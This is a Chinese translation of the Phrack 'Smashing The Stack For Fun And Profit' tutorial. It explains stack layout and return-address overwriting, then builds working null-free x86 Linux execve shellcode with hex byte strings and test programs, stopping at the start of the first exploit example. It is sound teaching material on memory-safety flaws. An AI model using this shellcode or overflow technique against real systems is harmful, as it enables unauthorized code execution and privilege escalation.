缓存溢出——Smashing The Stack For Fun And Profit

来源:互联网 发布:html5四川麻将源码 编辑:程序博客网 时间:2024/06/03 19:43

原文地址:http://www.phrack.org/issues/49/14.html#article

gcc使用说明:http://www.cnblogs.com/sunyubo/archive/2011/09/06/2282054.html

gdb使用说明:http://blog.csdn.net/chief1985/article/details/2441150

shellcode漏洞提权:http://blog.csdn.net/azloong/article/details/6158424


  .oO Phrack 49 Oo.
                          七卷四十九章
                           文件16之14


                     XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
                     "Smashing The Stack"为了乐趣与利益双收
                     XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX


                                 by Aleph One
                             aleph1@underground.org


"Smashing The Stack"[C语言编程]n.在C程序中实现.)
按惯例声明数组,向里面写入数据,超过边界时,execution stack(执行栈)有可能被摧毁。 
这样的代码叫做"smash the stack",能从常规的返回地址跳转到任意地址.  
这可以产生人类所能认知的最隐蔽的数据依赖漏洞.
它的变体有trash the stack(用垃圾填塞栈), scribble the stack(打乱栈), mangle the stack(践踏栈);
这里没有使用术语"mung the stack"(译者也不知该如何翻译...),因为这从来不是主观去做的.
 见"spam"章节;
 同见alias bug(别名漏洞), fandango on core(胡闹内核), memory leak(内存泄露), precedence lossage(优先权丢失), overrun screw(超出对象).(都没听说过..-_-#)


                                 介绍
                                 ~~~~~~~~~~~~


 过去的几个月,发现和exploit(译者注:这个词既能做动词又能做名词,可理解为"干"漏洞) buffer overflow(缓存溢出)缺陷的事件明显增多. 
 例子有syslog, splitvt, sendmail 8.7.5, Linux/FreeBSD mount, Xt library, at, 等等.
 这篇文章,意在解释什么是buffer溢出,以及其exploit的原理.


基础的汇编知识是需要的.  
了解虚拟内存的概念,以及gdb的操作经验,会有帮助但不是必须的.
我们假定工作在Intel x86的CPU上,且操作系统是Linux.


在开始之前做以下定义:
buffer是计算机中一段连续的内存块,可以存储同一个数据类型的多个单位. 
C程序员常常把它和一个词联系起来,那就是buffer arrays(缓冲区阵列). 
最常用的是character arrays(字符数组). 
Arrays,如C语言中的variables(变量)一样,可以declared(声明)为static(静态)或dynamic(动态).
Static variables(静态变量),在加载时,被分配到data segment(数据段)中. 
data segment(动态变量),在运行时,被分配到stack中.
overflow(溢出)是指flow(漫出),或填充超过top(顶),brims(边),或bounds(边界). 
我们只考虑dynamic buffers(动态缓存)的overflow,或者叫做stack-based(基于栈)的buffer overflows.


                          Process Memory Organization(进程在内存中的组织方式)
                          ~~~~~~~~~~~~~~~~~~~~~~~~~~~


在理解stack buffers是什么之前,首先要明白一个process(进程)在memory(内存)中是如何组织的.
Processes分为三个区域:Text(文本), Data(数据), 和 Stack(栈). 
我们关注stack区域,但还是依次总览一下其它区域.


text区域是被program(程序)给fixed(锁定)的,且其中包含了code(instructions)(指令代码)和read-only data(只读数据). 
该区域与可执行文件的text区域进行交互.
该区域通常标记为只读,并且任何写入尝试都会导致segmentation violation(段违规)的错误.


数据区域包括initialized(已初始化)和uninitialized(未初始化)的数据.
Static variables存储在该区域. 
data区域与可执行文件的bss数据区块进行交互.
它的大小可以通过brk(2)system call(系统调用)进行修改.
如果bss数据扩大,或user stack耗尽内存的话,进程将被阻断,并重新安排更大的内存来运行.
新内存将在data段和stack段之间添加.


                             /------------------\  lower
                             |                  |  memory
                             |       Text     |  addresses
                             |                  |
                             |------------------|
                             | (Initialized)  |
                             |      Data      |
                             | (Uninitialized) |
                             |------------------|
                             |                  |
                             |       Stack   |  higher
                             |                  |  memory
                             \------------------/  addresses


                         图.1 进程的内存区域




                               什么是栈?
                               ~~~~~~~~~~~~~~~~


 栈是计算机科学中经常使用的抽象数据类型.
 栈的对象的属性是最后进入栈的对象将最先被移出.
常常称为后进先出,或者LIFO(Last in,first out.).


栈中定义了几种操作.
两种最重要的就是PUSH和POP.
PUSH是在栈的top添加一个元素.
POP,相反,通过移去栈top的最后一个元素来减小栈的大小.


                            为什么要使用栈?
                            ~~~~~~~~~~~~~~~~~~~~~~


现代计算机设计时考虑了对高级语言的需求.
高级语言引进的最重要的程序构建技术就是procedure(过程)或叫function(函数).
从某个侧面来看,一个过程的调用,比如跳转,会改变控制流,但与跳转不同的是,任务结束后,一个函数会把控制返回调用之后的statement(声明)或instruction(指令).
这种高级的抽象是在栈的帮助下完成的.


栈也可以在函数中动态分配local variables(局部变量),向函数传递参数,以及从函数返回值.




                               栈区域
                               ~~~~~~~~~~~~~~~~


栈是一个包含数据的连续内存块.
一个名为stack pointer(SP)(栈指针)的寄存器指向栈的top(顶).
栈bottom(底)的地址是固定的.
运行时,内核动态地调整它的大小.
CPU执行指令来对栈进行PUSH或POP.


栈由logical stack frames(逻辑栈帧)组成,调用函数时push入栈,返回时pop出栈.  
stack frame(栈帧)包含一个函数的参数,局部变量,以及回到之前栈帧的必要数据,其中包含着调用函数时instruction pointer(指令指针)的值.


栈是向下增长(朝着低内存地址)还是向上增长,这取决于implementation(译者注:编译器).
我们的例子中,使用向下增长的栈.
这是很多计算机中栈的增长方式,包括Intel, Motorola, SPARC及MIPS处理器. 
栈指针(SP)也取决于编译器.
它可能指向栈的最后一个地址,或指向栈后下一个自由可用的地址.
在我们讨论中,假设它指向栈的最后一个地址.


除了栈指针,指向栈顶(最低数值地址),常为了便捷而使用一个指向帧内固定地址的frame pointer(FP)(帧指针).
有的文章称之为local base pointer(LB)(局部基指针). 
原理上,局部变量可以通过计算其与SP的offsets(偏移)的方式来引用. 
但是,由于栈中的词不断压入弹出,偏移会改变.
尽管在有的情况下,编译器可以通过记录栈中词的数量来修正偏移,但也有的情况是做不到的,并且这都要耗费大量的管理.
此外,在有些机器上,如基于Intel的处理器,要访问一个已知其与SP距离的变量,需要多个指令来完成.


因此许多编译器,又使用一个寄存器,FP,来引用局部变量和参数,因为它们与FP的距离不会因为PUSH和POP而改变. 
在Intel的CPU中,这就是使用BP(EBP)的目的. 
在Motorola的CPU中,除了A7(栈指针)以外的任何地址寄存器也是这样的.
由于我们栈的增长方式,真实参数与FP的偏移是正值,而局部变量与FP的偏移是负值.


过程被调用时做的第一件事就是存储前面的FP(从而可以在过程退出时恢复).
然后将SP复制给FP,从而创建新的FP,然后向前移动SP来存储局部变量.
此代码被称为procedure prolog(过程开场). 
过程退出时,栈必须被清理干净,这称为procedure epilog(过程结尾).
Intel的"ENTER"和"LEAVE"指令,以及Motorola的"LINK"和"UNLINK"指令,其实就是快速完成过程开场和过程结尾的工作. 


让我们用一个简单的例子来看看栈是什么样子:


example1.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
   char buffer1[5];
     char buffer2[10];
}


void main() {
  function(1,2,3);
}
------------------------------------------------------------------------------


想要理解程序调用function()时做了什么,我们用gcc来编译它,用-S开关来生成汇编代码的输出:
$ gcc -S -o example1.s example1.c


通过查看汇编语言输出,我们看到function()调用可以翻译为:


        pushl $3
        pushl $2
        pushl $1
        call function


将函数的3个参数以倒序push进栈,并调用function().
call指令会把instruction pointer(IP)(指令指针)压入栈.
我们将存储的IP称为返回地址(RET). 
函数中做的第一件事是procedure prolog(过程开场):


        pushl %ebp
        movl %esp,%ebp
        subl $20,%esp


将帧指针EBP压入栈.
然后将当前SP复制给EBP,让其称为新的FP指针.
我们将存储的FP指针称为SFP. 
通过从SP减去大小来为局部变量分配空间.


记住内存只能以字为单位来寻址.
 1个字是4字节,或32比特. 
所以\5个字节的buffer要占用8字节(2字)的内存,而10字节buffer 要占用12字节(3字)的内存.
这就是为什么要从SP减去20.
要记住,当调用function()时我们的栈是这样子的(每个空格代表一个字节):


bottom of                                                            top of
memory                                                               memory
           buffer2       buffer1   sfp   ret   a     b     c
<------   [            ][        ][    ][    ][    ][    ][    ]
  
top of                                                            bottom of
stack                                                                 stack


                               缓存溢出
                               ~~~~~~~~~~~~~~~~


buffer溢出是向一个buffer填充超过其容量数据而导致的结果.
这个经常出现的编程错误是如何被利用来执行任意代码的?
我们来看另外一个例子:
 
example2.c
------------------------------------------------------------------------------
void function(char *str) {
   char buffer[16];
 
   strcpy(buffer,str);
}
 
void main() {
  char large_string[256];
  int i;
 
  for( i = 0; i < 255; i++)
    large_string[i] = 'A';
 
  function(large_string);
}
------------------------------------------------------------------------------
 
在该程序中,有一个函数是典型的buffer溢出的代码错误.
该函数复制一个字符串时,没有使用带有边界检查的strcpy()来替代strncpy(). 
如果你运行此程序,将会出现"段违规"错误.
让我们看看调用function时,栈是什么样的:
 
 
bottom of                                                            top of
memory                                                               memory
                  buffer            sfp   ret   *str
<------          [                ][    ][    ][    ]
 
top of                                                            bottom of
stack                                                                 stack
 
 
里面发生了什么?
我们为什么得到一个"段违规"错误?
简单.
strcpy()将*str(larger_string[])的内容填充到buffer[],直至字符串中的null字符.
我们可以看到buffer[]比*str小很多.
buffer[]是16字节,而我们尝试向它填充256字节的内容. 
这意味着在栈中,buffer后的250个字符都将被重写.
这包括了SFP,RET,甚至*str!我们用字符'A'填充large_string.
它16进制的值是0x41.
这意味着当前的返回地址是0x41414141.
这超出了进程的地址空间.
这就是为什么当函数返回和尝试从那地址开始读取下一条指令时,你会得到一个"段违规"错误.
 
所以buffer溢出能让我们改变一个函数的返回地址.
用这个方法我们能改变程序的执行流. 
回到我们的第一个例子,回忆下那个栈的样子:
 
 
bottom of                                                            top of
memory                                                               memory
           buffer2       buffer1   sfp   ret   a     b     c
<------   [            ][        ][    ][    ][    ][    ][    ]
 
top of                                                            bottom of
stack                                                                 stack
 
 
让我们来修改第一个例子,让它重写返回地址,和演示我们如何让它执行任意代码.
在栈中,buffer1[]之前是SFP,再之前是返回地址.
就是buffer1[]结尾后的4字节.
要记得buffer1[]是2字,所以长度是8字节.
所以返回地址是从buffer1[]开头的12字节.
我们修改返回地址的方式是,赋值声明'x = 1;'在函数调用之后将被跳过.
要做到这样,我们向返回地址添加8字节.
我们现在的代码是:
 
example3.c:
------------------------------------------------------------------------------
void function(int a, int b, int c) {
   char buffer1[5];
   char buffer2[10];
   int *ret;
 
   ret = buffer1 + 12;
   (*ret) += 8;
}
 
void main() {
  int x;
 
  x = 0;
  function(1,2,3);
  x = 1;
  printf("%d\n",x);
}
------------------------------------------------------------------------------
 
我们向buffer1[]的地址添加了12.
这个新地址就是返回地址存储的地方.
我们想跳过赋值声明,直接到printf调用.
我们如何知道要向返回地址添加8?
我们先进行一个值测试(如example 1),编译程序,并开启gdb:
 
------------------------------------------------------------------------------
[aleph1]$ gdb example3
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000490 <main>:       pushl  %ebp
0x8000491 <main+1>:     movl   %esp,%ebp
0x8000493 <main+3>:     subl   $0x4,%esp
0x8000496 <main+6>:     movl   $0x0,0xfffffffc(%ebp)
0x800049d <main+13>:    pushl  $0x3
0x800049f <main+15>:    pushl  $0x2
0x80004a1 <main+17>:    pushl  $0x1
0x80004a3 <main+19>:    call   0x8000470 <function>
0x80004a8 <main+24>:    addl   $0xc,%esp
0x80004ab <main+27>:    movl   $0x1,0xfffffffc(%ebp)
0x80004b2 <main+34>:    movl   0xfffffffc(%ebp),%eax
0x80004b5 <main+37>:    pushl  %eax
0x80004b6 <main+38>:    pushl  $0x80004f8
0x80004bb <main+43>:    call   0x8000378 <printf>
0x80004c0 <main+48>:    addl   $0x8,%esp
0x80004c3 <main+51>:    movl   %ebp,%esp
0x80004c5 <main+53>:    popl   %ebp
0x80004c6 <main+54>:    ret
0x80004c7 <main+55>:    nop
------------------------------------------------------------------------------
 
我们可以看到当调用function()时,RET将是0x8004a8,并且我们想要跳过的赋值地址为0x80004ab.
下一条我们想要执行的指令地址是0x8004b2.
简单的计算告诉我们距离是8字节.
 
 
                                  Shell Csode
                                  ~~~~~~~~~~
 
现在我们知道了,我们可以更改返回地址和执行流,那我们想执行什么程序呢?
大多数情况下,我们只需要程序生成一个shell.
通过shell我们可以下达我们想要的命令.
但如果程序中没有我们想要exploit的代码呢?
如何将任意指令插入地址空间呢?
答案是将代码放置到溢出的缓存中,并重写返回地址让它回指缓存.
假设栈的起始地址是0xFF,S代表我们想要执行的代码,那么栈应该是这样子:
 
 
bottom of  DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     top of
memory     89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     memory
           buffer                sfp   ret   a     b     c
 
<------   [SSSSSSSSSSSSSSSSSSSS][SSSS][0xD8][0x01][0x02][0x03]
           ^                            |
           |____________________________|
top of                                                            bottom of
stack                                                                 stack
 
 
生成shell的C代码是这样子:
 
shellcode.c
-----------------------------------------------------------------------------
#include <stdio.h>
 
void main() {
   char *name[2];
 
   name[0] = "/bin/sh";
   name[1] = NULL;
   execve(name[0], name, NULL);
}
------------------------------------------------------------------------------
 
要知道它在汇编中是什么样的,我们编译它并打开gdb.
记得使用-static标识.
否则系统调用execve的实际代码将不会被包括.
取而代之的是加载时引用动态的C库.
 
------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcode -ggdb -static shellcode.c
[aleph1]$ gdb shellcode
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>:       pushl  %ebp
0x8000131 <main+1>:     movl   %esp,%ebp
0x8000133 <main+3>:     subl   $0x8,%esp
0x8000136 <main+6>:     movl   $0x80027b8,0xfffffff8(%ebp)
0x800013d <main+13>:    movl   $0x0,0xfffffffc(%ebp)
0x8000144 <main+20>:    pushl  $0x0
0x8000146 <main+22>:    leal   0xfffffff8(%ebp),%eax
0x8000149 <main+25>:    pushl  %eax
0x800014a <main+26>:    movl   0xfffffff8(%ebp),%eax
0x800014d <main+29>:    pushl  %eax
0x800014e <main+30>:    call   0x80002bc <__execve>
0x8000153 <main+35>:    addl   $0xc,%esp
0x8000156 <main+38>:    movl   %ebp,%esp
0x8000158 <main+40>:    popl   %ebp
0x8000159 <main+41>:    ret
End of assembler dump.
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x80002bc <__execve>:   pushl  %ebp
0x80002bd <__execve+1>: movl   %esp,%ebp
0x80002bf <__execve+3>: pushl  %ebx
0x80002c0 <__execve+4>: movl   $0xb,%eax
0x80002c5 <__execve+9>: movl   0x8(%ebp),%ebx
0x80002c8 <__execve+12>:        movl   0xc(%ebp),%ecx
0x80002cb <__execve+15>:        movl   0x10(%ebp),%edx
0x80002ce <__execve+18>:        int    $0x80
0x80002d0 <__execve+20>:        movl   %eax,%edx
0x80002d2 <__execve+22>:        testl  %edx,%edx
0x80002d4 <__execve+24>:        jnl    0x80002e6 <__execve+42>
0x80002d6 <__execve+26>:        negl   %edx
0x80002d8 <__execve+28>:        pushl  %edx
0x80002d9 <__execve+29>:        call   0x8001a34 <__normal_errno_location>
0x80002de <__execve+34>:        popl   %edx
0x80002df <__execve+35>:        movl   %edx,(%eax)
0x80002e1 <__execve+37>:        movl   $0xffffffff,%eax
0x80002e6 <__execve+42>:        popl   %ebx
0x80002e7 <__execve+43>:        movl   %ebp,%esp
0x80002e9 <__execve+45>:        popl   %ebp
0x80002ea <__execve+46>:        ret
0x80002eb <__execve+47>:        nop
End of assembler dump.
------------------------------------------------------------------------------
 
我们来了解一下这里面发生了什么.
从main函数开始:
 
------------------------------------------------------------------------------
0x8000130 <main>:       pushl  %ebp
0x8000131 <main+1>:     movl   %esp,%ebp
0x8000133 <main+3>:     subl   $0x8,%esp
 
这是"过程开场".
首先存储旧帧指针,让当前栈指针称为新的帧指针,来为局部变量腾出空间.
这种情况下:
 
char *name[2];
 
或者2个指向char的指针.
 指针的长度是1个字长,所以2个指针要腾出2个字长的空间(8字节).
 
0x8000136 <main+6>:     movl   $0x80027b8,0xfffffff8(%ebp)
 
我们将值0x80027b8(字符串"/bin/sh"的地址)复制到name[]的第一个指针.
这相当于:
 
name[0] = "/bin/sh";
 
0x800013d <main+13>:    movl   $0x0,0xfffffffc(%ebp)
 
我们将值0x0(null)复制到name[]的第二个指针.
这相当于:
 
name[1] = NULL;
 
execve()的实际调用从这里开始.
 
0x8000144 <main+20>:    pushl  $0x0
 
我们将execve()的参数以倒序压入栈.
以NULL开始.
 
0x8000146 <main+22>:    leal   0xfffffff8(%ebp),%eax
 
将name[]的地址加载到EAX寄存器.
 
0x8000149 <main+25>:    pushl  %eax
 
将name[]的地址压入栈.
 
0x800014a <main+26>:    movl   0xfffffff8(%ebp),%eax
 
将字符串"/bin/sh"的地址加载到EAX寄存器.
 
0x800014d <main+29>:    pushl  %eax
 
将字符串"/bin/sh" 的地址压入栈.
 
0x800014e <main+30>:    call   0x80002bc <__execve>
 
调用库程序execve(). 
调用指令将IP压入栈.
------------------------------------------------------------------------------
 
现在调用execve().
要记住我们使用的是基于Intel的Linux系统.
系统调用会因OS与CPU的不同而各异.
有的把参数传递给栈,而有的则是把参数传递给寄存器.
有的使用软件中断来跳转至内核模式,而有的则是使用远程调用.
Linux把系统调用的参数放在寄存器中,并使用软件中断来跳转至内核模式.
 
------------------------------------------------------------------------------
0x80002bc <__execve>:   pushl  %ebp
0x80002bd <__execve+1>: movl   %esp,%ebp
0x80002bf <__execve+3>: pushl  %ebx
 
“过程开场”
 
0x80002c0 <__execve+4>: movl   $0xb,%eax
 
把0xb(十进制的11)复制到栈.
这是系统调用表中的序号.
11是execve.
 
0x80002c5 <__execve+9>: movl   0x8(%ebp),%ebx
 
把"/bin/sh"的地址复制到EBX.
 
0x80002c8 <__execve+12>:        movl   0xc(%ebp),%ecx
 
把name[]的地址复制到ECX.
 
0x80002cb <__execve+15>:        movl   0x10(%ebp),%edx
 
把空指针的地址复制到%edx.
 
0x80002ce <__execve+18>:        int    $0x80
 
进入内核模式.
------------------------------------------------------------------------------
 
我们看到系统调用execve()中也没太多东西.
我们需要的做的是:
 
a)内存某处,存在带有终止空字符的字符串"/bin/sh".
b)内存某处,在字符串"/bin/sh"的地址后跟着一个空长字.
c)将0xb复制到EAX寄存器中.
将字符串"/bin/sh"地址的地址复制到EBX寄存器.
把字符串"/bin/sh"的地址复制到ECX寄存器.
f)将空长字的地址复制到EDX寄存器.
g)执行指令 int $0x80.
 
但假如execve()因为某些原因调用失败了呢?
程序会继续从栈中取回指令,其中可能包括任意数据!
程序很有可能进行核心转储(core dump).
系统调用execve失败的话,我们想让程序干净的退出.
要实现这个,我们必须在系统调用execve后添加一个系统调用exit.
exit系统调用长什么样呢?
 
exit.c
------------------------------------------------------------------------------
#include <stdlib.h>
 
void main() {
        exit(0);
}
------------------------------------------------------------------------------
 
------------------------------------------------------------------------------
[aleph1]$ gcc -o exit -static exit.c
[aleph1]$ gdb exit
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(no debugging symbols found)...
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x800034c <_exit>:      pushl  %ebp
0x800034d <_exit+1>:    movl   %esp,%ebp
0x800034f <_exit+3>:    pushl  %ebx
0x8000350 <_exit+4>:    movl   $0x1,%eax
0x8000355 <_exit+9>:    movl   0x8(%ebp),%ebx
0x8000358 <_exit+12>:   int    $0x80
0x800035a <_exit+14>:   movl   0xfffffffc(%ebp),%ebx
0x800035d <_exit+17>:   movl   %ebp,%esp
0x800035f <_exit+19>:   popl   %ebp
0x8000360 <_exit+20>:   ret
0x8000361 <_exit+21>:   nop
0x8000362 <_exit+22>:   nop
0x8000363 <_exit+23>:   nop
End of assembler dump.
------------------------------------------------------------------------------
 
exit系统调用会把0x1放到EAX中,把exit代码放到EBX中,然后执行"int 0x80".
就是这样.
大多数程序退出时返回0以表示无错误.
我们把0放到EBX中.
现在我们的步骤是:
 
a)内存某处,存在带有终止空字符的字符串"/bin/sh".
b)内存某处,在字符串"/bin/sh"的地址后跟着一个空长字.
c)将0xb复制到EAX寄存器中.
d)将字符串"/bin/sh"地址的地址复制到EBX寄存器.
把字符串"/bin/sh"的地址复制到ECX寄存器.
f)将空长字的地址复制到EDX寄存器.
g)执行指令 int $0x80.
h)将0x1复制到EAX寄存器中.
i)将0x0制到EBX存器中.
j)执行指令 int $0x80.
 
尝试放到汇编语言中,把字符串放在代码后面,记得将把字符串的地址和空字长放在数组后面,我们得到:
 
------------------------------------------------------------------------------
        movl   string_addr,string_addr_addr
movb   $0x0,null_byte_addr
        movl   $0x0,null_addr
        movl   $0xb,%eax
        movl   string_addr,%ebx
        leal   string_addr,%ecx
        leal   null_string,%edx
        int    $0x80
        movl   $0x1, %eax
        movl   $0x0, %ebx
int    $0x80
        /bin/sh string goes here.
------------------------------------------------------------------------------
 
问题在于,我们想利用的代码(以及之后的字符串)会被程序置于内存的何处.
一种方式是使用JMP和CALL指令.
JMP和CALL指令可以使用IP相对地址,意味着我们可以跳转到当前与IP的一个偏移而无需知道内存中的真实地址.
如果一个CALL指令刚好在字符串"/bin/sh"的前面,并用JMP指令跳转到它,执行CALL指令时字符串的地址会被作为返回地址被压入栈,
我们只需要将返回地址放入一个寄存器.
CALL指令就可以轻松的调用我们前面的代码.
现在假设J代表JMP指令,C代表CALL指令,s代表字符串,执行的过程将会如下:
 
 
bottom of  DDDDDDDDEEEEEEEEEEEE  EEEE  FFFF  FFFF  FFFF  FFFF     top of
memory     89ABCDEF0123456789AB  CDEF  0123  4567  89AB  CDEF     memory
           buffer                sfp   ret   a     b     c
 
<------   [JJSSSSSSSSSSSSSSCCss][ssss][0xD8][0x01][0x02][0x03]
           ^|^             ^|            |
           |||_____________||____________| (1)
       (2)  ||_____________||
             |______________| (3)
top of                                                            bottom of
stack                                                                 stack
 
 
 
如上修改后,采用顺序地址,写下代码中每个指令需要的字节数,如下所示:
 
------------------------------------------------------------------------------
        jmp    offset-to-call           # 2 bytes
        popl   %esi                     # 1 byte
        movl   %esi,array-offset(%esi)  # 3 bytes
        movb   $0x0,nullbyteoffset(%esi)# 4 bytes
        movl   $0x0,null-offset(%esi)   # 7 bytes
        movl   $0xb,%eax                # 5 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   array-offset,(%esi),%ecx # 3 bytes
        leal   null-offset(%esi),%edx   # 3 bytes
        int    $0x80                    # 2 bytes
        movl   $0x1, %eax # 5 bytes
        movl   $0x0, %ebx # 5 bytes
int    $0x80 # 2 bytes
        call   offset-to-popl           # 5 bytes
        /bin/sh string goes here.
------------------------------------------------------------------------------
 
计算以下偏移从jmp到call,从call到popl,从字符串地址到数组,从字符串地址到空长字,我们得到:
 
------------------------------------------------------------------------------
        jmp    0x26                     # 2 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x8(%esi)           # 3 bytes
        movb   $0x0,0x7(%esi) # 4 bytes
        movl   $0x0,0xc(%esi)           # 7 bytes
        movl   $0xb,%eax                # 5 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x8(%esi),%ecx           # 3 bytes
        leal   0xc(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        movl   $0x1, %eax # 5 bytes
        movl   $0x0, %ebx # 5 bytes
int    $0x80 # 2 bytes
        call   -0x2b                    # 5 bytes
        .string \"/bin/sh\" # 8 bytes
------------------------------------------------------------------------------
 
看起来不错.
要确保它能正常运行,我们必须编译和运行它.
但这有一个问题.
虽然大多数操作系统将代码页标记为只读,但我们的代码还是会自己进行修改.
要绕过这个限制,我们必须将想要执行的代码放到栈或数据区,并将控制交予它.
我们需要将代码放入数据区的全局数组来实现这个.
我们首先需要二进制代码的十六进制显示.
首先编译它,然后用gdb来获取它.
 
shellcodeasm.c
------------------------------------------------------------------------------
void main() {
__asm__("
        jmp    0x2a                     # 3 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x8(%esi)           # 3 bytes
        movb   $0x0,0x7(%esi)           # 4 bytes
        movl   $0x0,0xc(%esi)           # 7 bytes
        movl   $0xb,%eax                # 5 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x8(%esi),%ecx           # 3 bytes
        leal   0xc(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        movl   $0x1, %eax               # 5 bytes
        movl   $0x0, %ebx               # 5 bytes
        int    $0x80                    # 2 bytes
        call   -0x2f                    # 5 bytes
        .string \"/bin/sh\"             # 8 bytes
");
}
------------------------------------------------------------------------------
 
------------------------------------------------------------------------------
[aleph1]$ gcc -o shellcodeasm -g -ggdb shellcodeasm.c
[aleph1]$ gdb shellcodeasm
GDB is free software and you are welcome to distribute copies of it
 under certain conditions; type "show copying" to see the conditions.
There is absolutely no warranty for GDB; type "show warranty" for details.
GDB 4.15 (i586-unknown-linux), Copyright 1995 Free Software Foundation, Inc...
(gdb) disassemble main
Dump of assembler code for function main:
0x8000130 <main>:       pushl  %ebp
0x8000131 <main+1>:     movl   %esp,%ebp
0x8000133 <main+3>:     jmp    0x800015f <main+47>
0x8000135 <main+5>:     popl   %esi
0x8000136 <main+6>:     movl   %esi,0x8(%esi)
0x8000139 <main+9>:     movb   $0x0,0x7(%esi)
0x800013d <main+13>:    movl   $0x0,0xc(%esi)
0x8000144 <main+20>:    movl   $0xb,%eax
0x8000149 <main+25>:    movl   %esi,%ebx
0x800014b <main+27>:    leal   0x8(%esi),%ecx
0x800014e <main+30>:    leal   0xc(%esi),%edx
0x8000151 <main+33>:    int    $0x80
0x8000153 <main+35>:    movl   $0x1,%eax
0x8000158 <main+40>:    movl   $0x0,%ebx
0x800015d <main+45>:    int    $0x80
0x800015f <main+47>:    call   0x8000135 <main+5>
0x8000164 <main+52>:    das
0x8000165 <main+53>:    boundl 0x6e(%ecx),%ebp
0x8000168 <main+56>:    das
0x8000169 <main+57>:    jae    0x80001d3 <__new_exitfn+55>
0x800016b <main+59>:    addb   %cl,0x55c35dec(%ecx)
End of assembler dump.
(gdb) x/bx main+3
0x8000133 <main+3>:     0xeb
(gdb)
0x8000134 <main+4>:     0x2a
(gdb)
.
.
.
------------------------------------------------------------------------------
 
testsc.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00"
"\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff"
"\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3";
 
void main() {
   int *ret;
 
   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;
 
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc testsc.c
[aleph1]$ ./testsc
$ exit
[aleph1]$
------------------------------------------------------------------------------
 
它运行了!
但是这有一个阻碍.
在大多数情况下,我们会尝试溢出字符缓存.
这样的话我们shellcode中的任何空字节都会被当做字符串的结尾,进而复制被终止.
所以要让exploit运行的话,shellcode中不能有空字节.
让我们来删除这些字节(同时让它变得更小).
 
           Problem instruction:                 Substitute with:
           --------------------------------------------------------
           movb   $0x0,0x7(%esi)                xorl   %eax,%eax
  molv   $0x0,0xc(%esi)                movb   %eax,0x7(%esi)
                                                movl   %eax,0xc(%esi)
           --------------------------------------------------------
           movl   $0xb,%eax                     movb   $0xb,%al
           --------------------------------------------------------
           movl   $0x1, %eax                    xorl   %ebx,%ebx
           movl   $0x0, %ebx                    movl   %ebx,%eax
                                                inc    %eax
           --------------------------------------------------------
 
我们改进后的代码:
 
shellcodeasm2.c
------------------------------------------------------------------------------
void main() {
__asm__("
        jmp    0x1f                     # 2 bytes
        popl   %esi                     # 1 byte
        movl   %esi,0x8(%esi)           # 3 bytes
        xorl   %eax,%eax                # 2 bytes
movb   %eax,0x7(%esi)# 3 bytes
        movl   %eax,0xc(%esi)           # 3 bytes
        movb   $0xb,%al                 # 2 bytes
        movl   %esi,%ebx                # 2 bytes
        leal   0x8(%esi),%ecx           # 3 bytes
        leal   0xc(%esi),%edx           # 3 bytes
        int    $0x80                    # 2 bytes
        xorl   %ebx,%ebx                # 2 bytes
        movl   %ebx,%eax                # 2 bytes
        inc    %eax                     # 1 bytes
        int    $0x80                    # 2 bytes
        call   -0x24                    # 5 bytes
        .string \"/bin/sh\"             # 8 bytes
# 46 bytes total
");
}
------------------------------------------------------------------------------
 
   我们的新测试程序:
 
testsc2.c
------------------------------------------------------------------------------
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
 
void main() {
   int *ret;
 
   ret = (int *)&ret + 2;
   (*ret) = (int)shellcode;
 
}
------------------------------------------------------------------------------
------------------------------------------------------------------------------
[aleph1]$ gcc -o testsc2 testsc2.c
[aleph1]$ ./testsc2
$ exit
[aleph1]$
------------------------------------------------------------------------------
 
 
                              写一个Exploit
                              ~~~~~~~~~~~~~~~~~~
                          (或者如何去截获栈)
                          ~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 
让我们把所有部分组装起来.
我们有了shellcode.
我们知道它必须作为溢出缓存的字符串的一部分.
我们必须将返回地址指回缓存.
这个例子演示了这三点:
 
overflow1.c
------------------------------------------------------------------------------
char shellcode[] =
